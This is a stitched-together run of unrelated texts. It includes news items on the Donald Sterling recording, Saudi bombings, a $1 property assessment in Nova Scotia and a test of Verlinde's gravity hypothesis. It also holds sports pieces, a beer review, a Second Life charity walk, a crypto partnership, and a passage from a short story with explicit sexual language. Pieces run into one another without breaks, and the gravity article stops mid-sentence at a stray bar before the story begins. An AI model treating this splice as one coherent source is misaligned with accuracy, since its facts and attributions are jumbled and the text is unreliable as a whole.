Anger, frustration and calls for action echoed around the NBA on Saturday after the recording surfaced. Everybody except for Sterling, who has a decades-long history of discrimination and offensive behavior, seemed to have a response.
President Barack Obama, asked to respond at a news conference with Malaysia's prime minister during his visit to the country Sunday, called the reported remarks "incredibly offensive racist statements."
"I don't think I have to interpret those statements for you, they kind of speak for themselves," Obama said. "When ignorant folks want to advertise their ignorance, you don't really have to do anything. You just let them talk. And that's what happened here."
Obama also expressed confidence the NBA would address the situation, and said the United States still wrestles with "the legacy of race and slavery and segregation."
"Obviously, the NBA is a league that is beloved by fans all across the country," Obama said. "It's got an awful lot of African-American players. It's steeped in African-American culture. And, I suspect that the NBA is going to be deeply concerned in resolving this."
Miami Heat star LeBron James asked Silver to take aggressive measures, saying "there is no room for Donald Sterling in our league."
"Obviously, if the reports are true, it's unacceptable in our league," James said. "It doesn't matter, white, black or Hispanic -- all across the races it's unacceptable. As the commissioner of our league, they have to make a stand. They have to be very aggressive with it. I don't know what it will be, but we can't have that in our league."
Silver spoke Saturday night in Memphis, Tenn., before the Grizzlies' game against Oklahoma City, repeating that the league finds the audio tape "disturbing and offensive" and that Sterling agreed not to attend the Clippers' game Sunday at Golden State.
"All members of the NBA family should be afforded due process and a fair opportunity to present their side of any controversy, which is why I'm not yet prepared to discuss any potential sanctions against Donald Sterling," Silver said. "We will, however, move extraordinarily quickly in our investigation."
Silver said the NBA needs to confirm authenticity of the audio tape and interview both Sterling and the woman in the recording. The Clippers will be back in Los Angeles for Game 5 on Tuesday night.
"We do hope to have this wrapped up in the next few days," Silver said.
Clippers president Andy Roeser said in a statement that the team did not know if the tape is legitimate or has been altered. He said the woman on the tape, identified by TMZ as V. Stiviano, "is the defendant in a lawsuit brought by the Sterling family alleging that she embezzled more than $1.8 million, who told Mr. Sterling that she would 'get even."
Roeser also said the recording does not reflect Sterling's beliefs. He added that Sterling is "upset and apologizes for sentiments attributed to him" about Johnson, whom he called Sterling's friend.
The Associated Press contributed to this report.WASHINGTON (Reuters) - CIA director John Brennan said on Wednesday recent attacks in Saudi Arabia bore the hallmarks of Islamic State, and that the militant group was a very serious threat to the kingdom.
Suicide bombers struck three cities across Saudi Arabia earlier this month, killing at least four security officers in an apparently coordinated campaign of attacks on the penultimate day of the Muslim holy month of Ramadan.
“Those attacks bear the hallmarks of ISIL,” Brennan said at an event hosted by the Brookings Institution think tank, using an acronym for Islamic State.
The explosions struck in Jeddah, Qatif and a security headquarters in the holy city of Medina, an attack Brennan described as “unprecedented”.
The attacks were not claimed by any group although the Saudi government believes Islamic State is responsible after detaining 19 suspects linked to the five attackers.
Brennan said that while al Qaeda still posed a threat to Saudi Arabia, which had launched a fierce crackdown on the militant group in the early 2000s, Islamic State posed a greater danger to the kingdom.
Islamic State militants have carried out similar bombings in the U.S.-allied, Sunni Muslim-ruled kingdom in the past year, targeting minority Shi’ites and Saudi security forces.Normally, a brand-new seaside home on the outskirts of Antigonish, N.S. could easily fetch as much as $400,000.
But after homeowner Mike MacDonald stumbled upon a Mi’kmaq axe on the two-acre property, he was quickly able to convince the Province of Nova Scotia that his new home was now effectively worthless.
“Such a property would be considered very valuable under normal circumstances,” reads a decision by a Nova Scotia appeal tribunal.
But with the artifacts throwing the property’s future into limbo, “the value will be set at $1 until the future use of the Mi’kmaq artifacts is determined,” it read.
The rock-bottom assessment — which MacDonald only obtained after several appeals — frees him from paying any property taxes on the beachfront land.
And for Nova Scotia’s official property tax assessor, the dramatic devaluation is not sitting right.
“The Citadel Hill site (in downtown Halifax) has native artifacts under it; does that mean it’s also worthless?” said Kathy Gillis, CEO of the non-profit Property Value Services Corporation, which is leading a legal challenge to restore the assessed value to $253,500.
Nova Scotia — like much of Canada — is built atop land laden with First Nations artifacts and graves. If MacDonald’s claim isn’t taken to court, she said, “the same thing is just going to happen and happen and happen.”
The PVSC refused to ascribe a motive to MacDonald’s appeals for lower assessments, but noted in a statement that “in general, Nova Scotia property owners do not seek to have their property value reduced to one dollar.”
An initial study by the PVSC put MacDonald’s home at $365,000, although that number was later dropped to $253,000.
Mi’kmaq artifacts had indeed been found, assessors noted, but after a quick archeological dig, all it had done was force MacDonald to move the location of a well.
The nearby Paq’tnkek First Nation, notably, had no qualms with MacDonald continuing construction, and he finished a shed, a home and a septic system once the artifacts had been pulled out.
“No further interference with the property is planned at this time,” read assessment documents.
But MacDonald took his case to the Nova Scotia Assessment Appeal Tribunal, arguing successfully that it was only a matter of time before his house became the subject of a Mi’kmaq land claim.
“The First Nations’ strong interest in and claims on my property raise serious questions about my ability to guarantee clear title to anyone interested in purchasing it,” wrote MacDonald in a report published this month defending the $1 valuation.
MacDonald provided a letter from the Confederacy of Mainland Mi’kmaq confirming that the house was in an area where they would be conducting “future Land Claims research.”
He also commissioned an independent appraisal that determined that “additional discoveries (of artifacts) could be significantly detrimental should First Nations decide to pursue further.”
The house, located at Lot 3A-1 Seabright Road, is on an outcrop of land at the north end of Antigonish Harbour.
It was on this territory, MacDonald argues, that in 1783 the “Antigonish Indians” were given license by British authorities to live “undisturbed … with liberty of hunting and fishing.”
Neither MacDonald or the Paq’tnkek First Nation could be reached.
Heather Macleod-Leslie, an staff archaeologist with the Mi’kmaq Rights Initiative, performed the archaeological work on MacDonald’s property. Among other signs of Mi’kmaq habitation, the dig found a “celt,” a kind of stone axe or adze.
In comments to the CBC this week she said MacDonald had been “ethical” and “responsible” in informing the Mi’kmaq of the artifacts, and deserved to be rewarded with tax relief.
In an email to the National Post, however, she noted that the Mi’kmaq of Nova Scotia played no role in the revaluation of his home and that MacDonald has been “in the driver’s seat of the pursuit of tax relief.”
The discovery of First Nations artifacts or burial sites have indeed brought developments to a screeching halt in the past.
Last year, an Abbotsford, B.C. developer claimed his plans for a farm equipment mall were scuttled due to municipal concerns about the property being a site of mass graves.
In 2012, a condo project in South Vancouver was halted due to Musqueam protests that it was being built atop a recognized ancient village site and burial ground.
In MacDonald’s case, though, the Property Value Services Corporation is arguing that it’s much harder to argue that a property is worthless when the house is “inhabited and used by the property owner.”
In September, the issue is set to be heard before the Nova Scotia Utility and Review Board.
National Post
• Email: [email protected] | Twitter: TristinHopperLive stream to begin at 6:00 p.m. ET on February 4, 2015.
Before he was a United States Men's National Team player and Vice-Captain for Crew SC, Wil Trapp was an Akron Zip. And before starring in the Zips' midfield, Trapp was a standout in the club’s Player Development system.
The path to success has to start somewhere, and for over 175 players to date, that path has begun in Crew SC’s Player Development program. On Wednesday night, 18 boys and girls will announce their college decisions, continuing a strong tradition of players graduating from the Player Development system to the higher levels of collegiate soccer.
“Now that we’re heading into our eighth year with the Academy, we’ve got some players in this class that have been with us for five or more years,” said Crew SC’s Senior Vice President of Player Development Andrew Arthurs. “That’s exciting to see that we’ve been able to help players progress through our system. It’s not just our Academy players that are moving on to play at the next level. It’s boys, it’s girls, it’s Pre-Academy.
“That’s really exciting to us, not just helping the National Team players to the next level, it’s everyone in the system that we can help reach their highest potential.”
To help players reach their potential playing at NCAA Division I, II and III, as well as NAIA, has been rewarding for Crew SC’s Player Development staff and a testament to the success of the program.
"It’s cool to see the total amount of players that have had the opportunity to go play in college over the years,” Senior Director of Soccer Business Development Jeremy Parkins said. “To see boys and girls have the opportunity to continue their playing careers -- and being able to help with that process -- is rewarding and something that is exciting for the future.”
Covering the entire state of Ohio, Crew SC Player Development takes great pride developing talent in Columbus and throughout the Buckeye State — helping make Ohio a hotbed for youth soccer.
“The state of Ohio is our home territory, and it’s critical that we identify the top players from within the borders,” Arthurs said. “That’s been the case since year one of the Academy when Ben Speas (Stow) was with us, and then the Walker brothers from Cincinnati too. Certainly, the core of our players do -- and probably always will -- come from Columbus. Since there are many clubs locally who do a great job, it’s important for us to work with them to identify when a player may be ready for the Academy level to ensure that the best and brightest players from Columbus have every opportunity to become professionals, while also targeting the special ones out of market as well.
“That’s one indicator that the program is working and successful. In addition to our local talent, we’ve got good players coming from Toledo, Cleveland/Akron, Dayton and Cincinnati that are going on to play at high levels.”
Two 2015 commits, goalkeepers Carter Richardson (Wake Forest) and Parker Siegfried (Ohio State, pictured above) have U.S. Youth National Team experience, continuing a flow of Crew SC presence on the international level.
The Black & Gold’s Player Development model doesn’t show any signs of slowing down anytime soon. In the 2016 class, Ben Swanson already signed a Homegrown Player contract with Crew SC in October at age 17 and George Braima remains a mainstay on the U.S. U-17 Men's National Team.
See the full list of players commiting on National Signing Day below.A controversial new hypothesis that suggests our understanding of gravity is wrong has just passed an important first test.
First proposed back in 2010, the new hypothesis states that gravity might behave and arise very differently than Einstein predicted, and an independent study of more than 30,000 galaxies has now found the first evidence to back this up.
The hypothesis is referred to as 'Verlinde's hypothesis of gravity' after the theoretical physicist who came up with it, Erik Verlinde from the University of Amsterdam. If it can stand up to further testing, it could completely overhaul over a century of physics - including getting rid of dark matter altogether.
It could even be part of the puzzle that takes us one step closer to one of modern physics' Holy Grails - a much-longed-for 'theory of everything', that merges the observable effects of classic physics, with the weird, microscopic world of quantum mechanics.
The problem with our current understanding of gravity - even though it's widely accepted by the physics community - is that it doesn't quite account for everything we see in the Universe.
Most glaringly, researchers have shown that there's more gravity in our Universe - especially in our galaxies - than can be produced by all the visible matter out there.
This inconsistency has been explained by assuming the presence of dark matter - a mysterious force in the Universe that we can't see that's forming all of this extra gravity. But despite decades of searching and many leading candidates for a dark matter particle, researchers are still no closer to actually detecting this invisible substance.
Verlinde's approach, on the other hand, says we don't need dark matter at all, we just need to rethink gravity.
As we described back in November:
"His suggestion is that gravity isn't a fundamental force of nature at all, but rather an emergent phenomenon - just like temperature is an emergent phenomenon that arises from the movement of microscopic particles. In other words, gravity is a side effect, not the cause, of what's happening in the Universe."
For the past six years, this hypothesis has been left untested. But now a team of researchers at Leiden University in the Netherlands has tested it for the first time, and shown some evidence that it could actually hold up.
The team, led by Margot Brouwer, looked at the distribution of matter in more than 33,000 galaxies, and said that what they say could indeed be explained without dark matter if they used Verlinde's hypothesis of gravity.
Testing this involved studying something called gravitational lensing - the way galaxies closer to us bend the light of more distant galaxies. This is a well-established way of measuring the amount of dark matter in galaxies.
But the team found that if they just factored in Verlinde's modified gravity, then their results made sense without them having to add in the idea of dark matter.
The team compared their results to the predictions made by Einstein's general theory of relativity and those made by Verlinde, and found that both fit.
But they found that Verlinde's predictions matched their observations without needing to use any free parameters - which are values that can be tweaked to make observations match a hypothesis. The presence of dark matter, on the other hand, required four free parameters.
"The dark matter model actually fits slightly better with the data than Verlinde’s prediction," Brouwer told New Scientist. "But then if you mathematically factor in the fact that Verlinde’s prediction doesn’t have any free parameters, whereas the dark matter prediction does, then you find Verlinde’s model is actually performing slightly better."
Importantly, this is just one very early test of Verlinde's hypothesis, and it's going to take a lot more than that to throw out over a century of accepted thinking on gravity and dark matter.
Also, |
say, “And then he said, ‘You make my dick so hard,’ ” and the boy would shriek in agony and grab her leg, saying, “Oh, my God, stop, please, no, I can’t take it anymore,” and the two of them would collapse into each other’s arms and laugh and laugh—but of course there was no such future, because no such boy existed, and never would. So instead she shrugged, and Robert said, “We could watch a movie,” and he went to the computer and downloaded something; she didn’t pay attention to what. For some reason, he’d chosen a movie with subtitles, and she kept closing her eyes, so she had no idea what was going on. The whole time, he was stroking her hair and trailing light kisses down her shoulder, as if he’d forgotten that ten minutes ago he’d thrown her around as if they were in a porno and growled, “I always wanted to fuck a girl with nice tits” in her ear. Then, out of nowhere, he started talking about his feelings for her. He talked about how hard it had been for him when she went away for break, not knowing if she had an old high-school boyfriend she might reconnect with back home. During those two weeks, it turned out, an entire secret drama had played out in his head, one in which she’d left campus committed to him, to Robert, but at home had been drawn back to the high-school guy, who, in Robert’s mind, was some kind of brutish, handsome jock, not worthy of her but nonetheless seductive by virtue of his position at the top of the hierarchy back home in Saline. “I was so worried you might, like, make a bad decision and things would be different between us when you got back,” he said. “But I should have trusted you.” My high-school boyfriend is gay, Margot imagined telling him. We were pretty sure of it in high school, but after a year of sleeping around at college he’s definitely figured it out. In fact, he’s not even a hundred per cent positive that he identifies as a man anymore; we spent a lot of time over break talking about what it would mean for him to come out as non-binary, so sex with him wasn’t going to happen, and you could have asked me about that if you were worried; you could have asked me about a lot of things. But she didn’t say any of that; she just lay silently, emanating a black, hateful aura, until finally Robert trailed off. “Are you still awake?” he asked, and she said yes, and he said, “Is everything O.K.?” “How old are you, exactly?” she asked him. “I’m thirty-four,” he said. “Is that a problem?” She could sense him in the dark beside her vibrating with fear. “No,” she said. “It’s fine.” “Good,” he said. “It was something I wanted to bring up with you, but I didn’t know how you’d take it.” He rolled over and kissed her forehead, and she felt like a slug he’d poured salt on, disintegrating under that kiss. She looked at the clock; it was nearly three in the morning. “I should go home, probably,” she said. “Really?” he said. “But I thought you’d stay over. I make great scrambled eggs!” “Thanks,” she said, sliding into her leggings. “But I can’t. My roommate would be worried. So.” “Gotta get back to the dorm room,” he said, voice dripping with sarcasm. “Yep,” she said. “Since that’s where I live.” The drive was endless. The snow had turned to rain. They didn’t talk. Eventually, Robert switched the radio to late-night NPR. Margot recalled how, when they first got on the highway to go to the movie, she’d imagined that Robert might murder her, and she thought, Maybe he’ll murder me now. He didn’t murder her. He drove her to her dorm. “I had a really nice time tonight,” he said, unbuckling his seat belt. “Thanks,” she said. She clutched her bag in her hands. “Me, too.” “I’m so glad we finally got to go on a date,” he said. “A date,” she said to her imaginary boyfriend. “He called that a date.” And they both laughed and laughed. “You’re welcome,” she said. She reached for the door handle. “Thanks for the movie and stuff.” “Wait,” he said, and grabbed her arm. “Come here.” He dragged her back, wrapped his arms around her, and pushed his tongue down her throat one last time. “Oh, my God, when will it end?” she asked the imaginary boyfriend, but the imaginary boyfriend didn’t answer her. “Good night,” she said, and then she opened the door and escaped. By the time she got to her room, she already had a text from him: no words, just hearts and faces with heart eyes and, for some reason, a dolphin.As I noted in a previous post, the first Making Strides Against Breast Cancer walk will be taking place in Second Life on Sunday, October 26th, 2014.
The event will take place around a track laid out across two regions adjacent to the American Cancer Society island, and will run from 09:00 SLT through until 17:00 SLT, and be followed by a special party from 17:00-19:00 SLT, giving everyone the opportunity to drop in and help raise funds for ACS as a part of the overall RFL drive.
There will be hourly themed walks, allowing people to get fully into the sing of things, with a special Survivor and Caregiver Hour from 11:00 through noon, and a Remembrance Ceremony from 16:00 through 17:00.
The regions have been beautifully dressed to provide a summer-like walk through woodlands, with an oval cobbled path forming the track, lined with small cabins where sponsors and supporters of MSABC are offering items for sale (all proceeds of which go directly to MSABC / RFL or SL). I’ve given graciously been given a little cabin of my own!
In the centre of the two regions are places to meet and chat with friends, spaces to rest and remember, a pergola were various activities will be held – even a maze to enjoy. The schedule of activities remains as previously published, and I’m including it here for reference:
09:00-10:00 – T1 Radio
10:00-11:00 – Opening Ceremony
11:00-12:00 – Survivor & Caregiver Hour
12:00-13:00 – Boot It Up Hour: wear your favorite boots as you walk around the Stride’s path
13:00-14:00 – International Spirit Hour: wave your country’s flag as you walk around the Stride’s path
14:00-15:00 – Hat’s Aplenty Hour: stride the path in your favourite hat
15:00-16:00 – Let’s Get Hopping Hour: grab a hopper and bounce your way around the path
16:00-17:00 – Remembrance Ceremony: remembering those who lost their fight against breast cancer
17:00-19:00 – Time Machine Special: it’s back to the 1960’s with DJ Trader1 Whiplash!
So why not take a little time on Sunday and join the walk?
About Making Strides Against Breast Cancer
Making Strides Against Breast Cancer or MSABC is the largest network of breast cancer awareness events in the United States, uniting more than 300 communities across the country. Every breast cancer walk run during the MSABC’s season is seen as an incredible and inspiring opportunity to honour those who have battled breast cancer, raise awareness on how the risk of breast cancer can be reduced, and to raise money to help the American Cancer Society fight the disease with research, information, services and access to mammograms for women who need them.
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AdvertisementsExactly three decades ago, Michael Jordan delivered arguably the greatest individual performance in NBA playoff history.
Wednesday marks the 30th anniversary of Game 2 of the 1986 Eastern Conference quarterfinals between the Boston Celtics and Chicago Bulls. The game itself was gripping enough — the Celtics prevailed 135-131 in double overtime — but Jordan made the contest historic.
At just 23 years old and in his second season in the league, the Bulls guard went off for 63 points, a total that still stands as the most ever in a playoff game. Here are just a few highlights from one of the most thrilling NBA playoff games of all time:
Jordan essentially put Chicago on his back against a far superior Celtics team that would go on to win the NBA championship. His best moment came at the end of regulation, when he drilled two free throws with no time on the clock to send the game to overtime in front of a raucous Boston Garden crowd.
Jordan’s ridiculous performance — he shot over 50 percent from the floor, made 19 of 21 free throws and didn’t attempt a single 3-pointer — was a sign of things to come. It also inspired one of Celtics legend Larry Bird’s best quotes.
“I think he’s God disguised as Michael Jordan,” Bird said at the time, via ESPN.com. “He is the most awesome player in the NBA.”
“We had about everyone on the team guarding him,” Bird added, via NBA.com. “He obviously was in a zone. He kept them in the game with big basket after big basket. We couldn’t stop him. We tried to shade him to help, everything. You were talking about a different type of talent.”
Many regard the ’86 Celtics as one of the best — if not the best — teams in NBA history. That Jordan almost singlehandedly beat them is a testament to just how great he played that night.
“It was a phenomenal performance, what Michael was able to do against a team like that,” Celtics big man Bill Walton added.
Jordan, who also scored 49 points in the series opener, averaged 43.7 points per game for the series, but the Celtics still swept the series on the way to the title.
Thumbnail photo via Chicago Bulls guard Michael Jordan in the 1986 NBA playoffsAs I poured this beer into a pint glass on March 31, snow lined my driveway and my hometown fishwrap teased a three-inch snowfall for Easter Sunday. Beer creep is a lot like holiday creep. Back to school gives way to Halloween in mid-September, which gives way to Christmas on November 1. The spring IPAs come out in January and February, summer ales appear in March, the Octoberfest marzens come out in August, and the winter beers show up in September and October.
So, I don’t particularly like the idea of drinking a light, summery beer while my furnace cranks heat throughout Al Dente HQ. But, I do it for you, dear reader.
I’m late to Bell’s, the Kalamazoo, Mich. based brewer best known for its Two Hearted Ale. This is a solid brewer that makes a remarkable range of ales, including its summertime Oberon Ale. My first of many Oberons came last summer while chowing down on tacos at Otro Cinco. Bell’s hosted a release party for the 2015 Oberon at a local beer bar, but my aversion to drinking with large groups of people got the best of me.
Oberon is a hazy wheat ale built on the brewery’s proprietary ale yeast. There is a faint hoppy character that provides the citrus kick, but this is a wheat ale all the way. Clean drinking with a creamy mouthfeel, it doesn’t feel as heavy as it actually is. This is definitely an ale through and through.
My problem is that I didn’t think it was as good as the 2014 edition. I remember this having more punch last year, edging close to a pale ale. This edition is milder in flavor and focuses on having a smoother texture and flavor. Not to be greedy, but I would rather have both. I would even sacrifice a little of the creaminess for more bitter.
It’s a good enough ale for summertime and I might even order it again if faced with few other choices. It’s just not the summer ale for me.
Brewer: Bell’s Brewery
Beer: Oberon Ale
Style: Wheat ale
ABV: 5.8% IBU: n/a
Container: 12 oz. bottle
Price: n/a (purchased as part of a mixed six) Point of Purchase: Wegmans, Syracuse, N.Y.
To The Eye: Golden and cloudy with a fluffy head that disappears after a few minutes.
To The Nose: Faint hints of lemon and hoppy pine.
To The Palate: Sweetness from the wheat, which is enhanced by flavors of lemon and pineapple. I caught a little spice from the hops but not much. Very creamy mouthfeel that is lighter than you might expect.
Aftertaste: Clean and unremarkable.
Boozy Factor: It’s deceptive. One might find themselves in trouble after the second or third of these.
On a Scale of 1 to 10, with 10 as highest: 7British author J. K. Rowling wrote a letter to a teenage girl in Texas in the voice of the wizard Albus Dumbledore after the girl’s entire family was murdered by a gunman earlier this summer.
The Telegraph reported Wednesday that the multi-million-selling Harry Potter-series author was moved to contact 15-year-old Cassidy Stay after the girl cited the fictional wizard’s words at her family’s memorial.
“I know that my mom, dad, Bryan, Emily, Becca, and Zach are in a much better place, and that I’ll be able to see them again one day,” Stay said at the service in July.
“Happiness can be found even in darkest of times, if one remembers to turn on the light,” she went on to say, paraphrasing Dumbledore’s words from Harry Potter and the Prisoner of Azkaban, the third book in the seven-volume series.
On July 9, Ronald Lee Haskell, 33, ex-husband of Stay’s aunt, broke into the Stay family home, tied up the family and shot them, execution-style, killing the girl’s mother and father, her two sisters and two brothers. A bullet grazed Stay’s head and hand, but she survived by playing dead until Haskell left the scene. She then telephoned police to warn that Haskell was headed to her grandparents’ house, leading to the gunman’s arrest.
Rowling was made aware of the story through an Internet campaign. She sent Stay the Dumbledore letter — which was reportedly hand-written in purple ink — as well as a wand, a letter of acceptance to the Hogwarts school of wizardry and a list of supplies Stay would need to commence studies at the mythical academy this fall.
A Rowling spokesperson told the Telegraph, “We can confirm that J. K. Rowling was in touch with Cassidy Stay, however, the contents of the letter remain private.”
When asked if the author would be meeting Stay in person, the spokesperson demurred, saying, “We wouldn’t comment on that but [Cassidy’s] is a remarkable story.”
Watch video about Cassidy Stay from July, embedded below:1. Steelers wide receiver Mike Wallace Agreed to deal with Dolphins.
2. Lions defensive end Cliff Avril Agreed to two-year deal with Seahawks.
3. Giants wide receiver Victor Cruz (RFA) Signed one-year RFA tender with Giants.
4. Packers wide receiver Greg Jennings Reached five-year deal with Vikings.
5. Dolphins offensive tackle Jake Long Reached four-year deal with Rams.
6. Eagles cornerback Dominique Rodgers-Cromartie Signed one-year deal with Broncos.
7. Ravens outside linebacker Paul Kruger Agreed to deal with Browns.
8. Bengals offensive tackle Andre Smith Re-signed with the Bengals.
9. Patriots cornerback Aqib Talib Signed one-year deal with Patriots.
10. Patriots wide receiver Wes Welker Agreed to deal with Broncos.
11. Buccaneers defensive end Michael Bennett Agreed to one-year deal with Seahawks.
12. Rams wide receiver Danny Amendola Agreed to five-year deal with Patriots.
13. Vikings offensive tackle Phil Loadholt Re-signed with Vikings.
14. Texans outside linebacker Connor Barwin Signed six-year deal with Eagles.
15. Patriots offensive tackle Sebastian Vollmer Re-signed with Patriots.
16. Falcons tight end Tony Gonzalez Returning to Falcons.
17. Dolphins cornerback Sean Smith Agreed to three-year deal with Chiefs.
18. Titans tight end Jared Cook Agreed to deal with Rams.
19. 49ers safety Dashon Goldson Signed with Buccaneers.
20. Dolphins wide receiver Brian Hartline Signed with Dolphins.
21. Giants tight end Martellus Bennett Signed with Bears.
22. Ravens cornerback Cary Williams Signed three-year deal with Eagles.
23. Falcons safety William Moore Signed with the Falcons.
24. Seahawks defensive end Jason Jones Signed with Lions.
25. Giants defensive end Osi Umemyiora Agreed to deal with Falcons.
26. Bills offensive guard Andy Levitre Agreed to deal with Titans.
27. Lions cornerback Chris Houston Re-signed with the Lions.
28. Chargers outside linebacker Shaun Phillips Signed with Broncos.
29. Dolphins running back Reggie Bush Signed with Lions.
30. Rams running back Steven Jackson Signed with Falcons.
31. Falcons cornerback Brent Grimes Agreed with Dolphins.
32. Colts defensive end Dwight Freeney Signed two-year deal with Chargers.
33. Raiders defensive tackle Desmond Bryant Agreed to deal with Browns.
34. Seahawks defensive tackle Alan Branch Signed one-year contract with Bills.
35. Ravens safety Ed Reed Reached deal with Texans.
36. Jets tight end Dustin Keller Reached one-year deal with Dolphins.
37. Giants safety Kenny Phillips Signed with Eagles.
38. Texans safety Glover Quin Signed with Lions.
39. Ravens linebacker Dannell Ellerbe Agreed to terms with Dolphins.
40. Saints offensive tackle Jermon Bushrod Agreed to deal with Bears.
41. Steelers cornerback Keenan Lewis Signed with Saints.
42. Raiders defensive tackle Richard Seymour
43. Ex-Falcons defensive end John Abraham Signed with Cardinals.
44. Jaguars cornerback Derek Cox Agreed to terms with San Diego.
45. Ex-Falcons cornerback Dunta Robinson Agreed to a three-year deal with the Chiefs.
46. Falcons offensive tackle Sam Baker Re-signed with Falcons.
47. Jets safety LaRon Landry Signed four-year deal with Colts.
48. Lions safety Louis Delmas Signed two-year deal with Lions.
49. Dolphins quarterback Matt Moore Re-signed with the Dolphins.
50. Chargers offensive guard Louis Vasquez Signed with Broncos.
51. Chargers cornerback Antoine Cason Signed one-year deal with Cardinals.
52. Redskins tight end Fred Davis Re-signed with Redskins.
53. Chiefs defensive end Glenn Dorsey Agreed to deal with 49ers.
54. Rams defensive end William Hayes Re-signed with Rams.
55. Cowboys cornerback Mike Jenkins Agreed with Raiders.
56. Steelers running back Rashard Mendenhall Signed with Cardinals.
57. Chargers wide receiver Danario Alexander (RFA) Signed RFA tender with Chargers.
58. Lions offensive tackle Gosder Cherilus Agreed to deal with Colts.
59. Jaguars defensive tackle Terrance Knighton Agreed to deal with Broncos.
60. Ravens tight end Dennis Pitta (RFA) Signed RFA tender with Ravens.
61. Ex-Giants defensive tackle Chris Canty Signed with Ravens.
62. Panthers defensive tackle Dwan Edwards Re-signed with Panthers.
63. Jaguars outside linebacker Daryl Smith Signed with Ravens.
64. Bears middle linebacker Brian Urlacher Announced his retirement.
65. Raiders tight end Brandon Myers Signed with Giants.
66. Saints defensive tackle Sedrick Ellis Signed with Bears.
67. 49ers tight end Delanie Walker Agreed to deal with Titans.
68. Titans defensive tackle Sen’Derrick Marks Agreed to one-year deal with Jaguars.
69. Patriots cornerback Kyle Arrington Agreed to four-year deal with Patriots.
70. Ex-Eagles defensive tackle Cullen Jenkins Agreed on a three-year contract with the Giants.
71. Ravens offensive tackle Bryant McKinnie Agreed with Ravens.
72. Lions outside linebacker Justin Durant Agreed with Cowboys.
73. Chargers cornerback Quentin Jammer Signed one-year deal with Broncos.
74. Chargers outside linebacker Antwan Barnes Agreed to deal with Jets.
75. Steelers wide receiver Emmanuel Sanders (RFA) Steelers matched one-year offer from Patriots.
76. Ex-Giants running back Ahmad Bradshaw Signed one year-deal with Colts.
77. Colts wide receiver Donnie Avery Agreed to terms with Chiefs.
78. Bills cornerback Leodis McKelvin Signed with the Bills.
79. Bears defensive end Israel Idonije Signed one-year deal with Lions.
80. Browns wide receiver Josh Cribbs Agreed to deal with Raiders.
81. Bengals middle linebacker Rey Maualuga Agreed to deal with Bengals.
82. Colts cornerback Darius Butler Agreed to a two-year deal with Colts.
83. Ex-Packers cornerback Charles Woodson Agreed to one-year deal with Raiders.
84. 49ers defensive tackle Ricky Jean-Francois Agreed to four-year deal with Colts.
85. Dolphins safety Chris Clemons. Signed one-year deal with Dolphins.
86. Titans placekicker Rob Bironas Signed with Titans.
87. Bengals punter Kevin Huber Signed with Bengals.
88. Patriots safety Patrick Chung. Signed with Eagles.
89. Ex-Bills inside linebacker Nick Barnett. Signed with Washington.
90. Raiders defensive end Matt Shaughnessy Agreed to terms with Cardinals.
91. Panthers cornerback Captain Munnerlyn Re-signed with Panthers.
92. Raiders punter Shane Lechler Signed with Texans.
93. Jets running back Shonn Greene Agreed to terms with Titans.
94. Lions defensive end Lawrence Jackson Signed with Vikings.
95. Colts cornerback Jerraud Powers Agreed with Cardinals.
96. Bengals defensive end Wallace Gilberry Signed three-year contract with Bengals.
97. Jets offensive guard Brandon Moore Agreed with Cowboys.
98. Ravens defensive lineman Arthur Jones (RFA) Re-signed with Ravens.
99. Cowboys outside linebacker Victor Butler Agreed with Saints.
100. Colts quarterback Drew Stanton Signed three-year deal with the Cardinals.Texas kicker Nick Rose had a tough Saturday night. After the Longhorns mounted a furious comeback against Cal, scoring what appeared to be the game-tying touchdown late in the fourth quarter, Rose missed an extra point try, effectively handing the game to the Golden Bears. But it doesn’t look like the coaching staff is too upset with him.
At his press conference Monday afternoon, head coach Charlie Strong revealed that he hung around the locker room until 1:00 AM to comfort Rose, and then called him early Sunday morning to make sure he was doing okay.
Strong: Team has rallied around Nick Rose. Said he stayed at the facility until 1 a.m. Sunday w/ him then called him Sunday morning. #HookEm — Horns247 (@Horns247) September 21, 2015
Charlie Strong said he sat in locker room with Nick Rose until 12:30- 1 a.m. after the game trying to boost his spirits. @HornsDigest — William Wilkerson (@WVWilkerson) September 21, 2015
Strong told Nick Rose, “It’s over with. You can’t relive this moment. … I called him Sunday morning. Team has really rallied ’round him.” — Kirk Bohls (@kbohls) September 21, 2015
Charlie Strong to Nick Rose: “There’s gonna be adversity in life…you gotta get over it.” — Craig Way (@craigway1) September 21, 2015
At the end of the day, Rose is just a college student, so it’s nice to see Strong recognizing that fact. Plus, you never know when Rose is going to need to make a kick in a pressure situation moving forward, so it’s important to do what’s needed to help him keep his confidence. Well done.BERLIN (Reuters) - A briefcase filled with 3,500 euros ($4,097) along with 22 gold bars weighing a total of 1kg and worth 30,000 euros was discovered beneath a tree by an honest finder who promptly turned over the small fortune to Berlin police, authorities said on Friday.
The cash and gold was found just outside a bank in the Neukoelln district, one of Berlin’s poorest areas. The fortunate owner later told police he had put the briefcase down to lock up his bicycle but then forgot about it.
“Amazing what you can find under a tree in Neukoelln,” the police wrote on Twitter. “An honest finder turned in the briefcase with 3,500 euros and gold to our station.”
Berlin police later added: “The owner has been found. He said he put his things down while locking up his bicycle and then simply forgot about them.”
($1 = 0.8543 euros)Dash, the fifth most valuable cryptocurrency by market cap, has partnered with Irish discount gift card platform BitCart to allow users access to significant online savings at Amazon, and soon, hotels.com.
The integration comes in the wake of Dash’s phenomenal growth in Q1, where its total market cap soared from $77 million to $528 million USD. BitCart offers up to 20% discounts on Amazon for consumers using Dash on its platform.
“One of the most important things we need to do to help cryptocurrency adoption grow is to give potential users a strong reason to overcome the technical hurdles and start using digital currencies everyday. Offering a 20% discount on Amazon purchases is a powerful incentive for new users to try Dash out, learn about it, and most importantly, start realizing its benefits”, VP of Business Development Daniel Diaz said. “This partnership marks Dash’s first direct integration to a service of this kind, granting the project more independence. Dash’s fast confirmations and cheap transactions ensure a superior user experience on BitCart using Dash because users don't have to bridge through other networks and wait long times for confirmation.”
BitCart, founded in 2015, gives users a way to spend cryptocurrency on the world’s leading online retailer. In addition Dash, it already accepts bitcoin and is close to adding hotels.com gift cards.
“Dash is an obvious addition to our payment options due to its scalability. It is the superior cryptocurrency for payments over any other cryptocurrency. There is nothing more exciting for me than the decentralization of the global finance system, which is currently inefficient and riddled with fraud. Dash allows our merchant platform to completely eliminate the chance of chargebacks, and it opens up more options to anyone in the world”, CEO of BitCart Graham de Barra said. “Customers can be from anywhere in the world, but currently most users are predominantly from the USA and Asia. With Bitcoin falling to 66% of the total market share, and Dash recently climbing to the fifth most valuable cryptocurrency, I have no doubt that our customer-base will increase with this implementation”.
